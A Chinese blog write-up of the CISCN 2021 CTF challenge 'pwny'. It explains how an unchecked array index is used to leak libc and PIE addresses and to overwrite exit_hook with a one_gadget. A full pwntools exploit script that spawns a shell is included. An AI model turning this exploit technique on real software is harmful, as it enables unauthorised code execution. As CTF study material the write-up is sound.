CISCN2021pwn pwny(数组越界,劫持exit_hook)


复现一下

程序分析:

保护全开
请添加图片描述
这里有show,write,exit功能
请添加图片描述
show功能可以读出一个数组的内容,这里index没有限制,显然我们能数组越界泄露我们想要的地址
请添加图片描述
write功能是写值到指定数组,但index也没有限制,可以任意写

请添加图片描述
值得注意的是两个功能里的read函数的fd是byte_202860,而它已经被赋值了一个随机数
请添加图片描述
所以我们要把它改为0,程序的功能才能正常执行

我们可以用write的数组越界write(256)到byte_202860,由于write里的read没法使用,只能把0写给它,所以fd就改为0了
要用两次write(256)

我们用show数组越界泄露_IO_2_1_stderr_得到libc_base
我们可以gdb调试
p &_rtld_global
得到地址0x7f2287193060
减去libc_base
0x7f2287193060-0x7f2286b78000=0x61B060
最后加上偏移3848,3840都可以
所以exit_hook=libc_base+0x61BF60
exit_hook可以看这篇
https://www.cnblogs.com/bhxdn/p/14222558.html
继续泄露data段的实际地址
算出pie_base=data段的实际地址-data段的偏移地址(0x202008)
得出数组的实际地址=pie_base+0x202060

偏移到exit_hook的下标=(exit_hook-数组的实际地址)/8
我们write写入onegadget
这里找one_gadget要加-l 1
one_gadget ./libc-2.27.so -l 1
等级提高一级,找到更多onegadget

exp

from pwn import * 
local_file  = './pwny'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25904 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def show(index):
    sla('Your choice: ','1')
    sa('Index: ',str(index))
def write(index,content):
    sla('Your choice: ','2')
    sla('Index: ',str(index))
    se(content)

#-----------------------
sla('Your choice: ','2')
sla('Index: ','256')
sla('Your choice: ','2')
sla('Index: ','256')
#----------------------
show(p64(0xFFFFFFFFFFFFFFFC)) #-4
ru('Result: ')
libc=int(rc(12),16)
libc_base=libc-0x3EC680  #_IO_2_1_stderr_  00000000003EC680
info('libc_base',libc_base)
og=[0x4f2a5,0x4f302,0xe54f7,0xe54fe,0xe5502,0x10a2fc,0x10a308]
#---------------------------------
show(p64(0xFFFFFFFFFFFFFFF5))#-11
ru('Result: ')
data=int(rc(12),16)
info('data',data)
pie_base=data-0x202008
info('pie_base',pie_base)
#--------------------------------
exit_hook=libc_base+0x61bf60
info('exit_hook',exit_hook)
offest=(exit_hook-(pie_base+0x202060))/8
info('offest',offest)
write(offest,p64(og[6]+libc_base))
sla('Your choice: ','3')
#debug()
r.interactive()

请添加图片描述

参考师傅:
https://blog.csdn.net/zzq487782568/article/details/124803266

当然还有其他的做法,改malloc_hook为og,用scanf输入过长会申请堆块来触发,或者改栈的ret为og(泄露靠environ)之类的

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值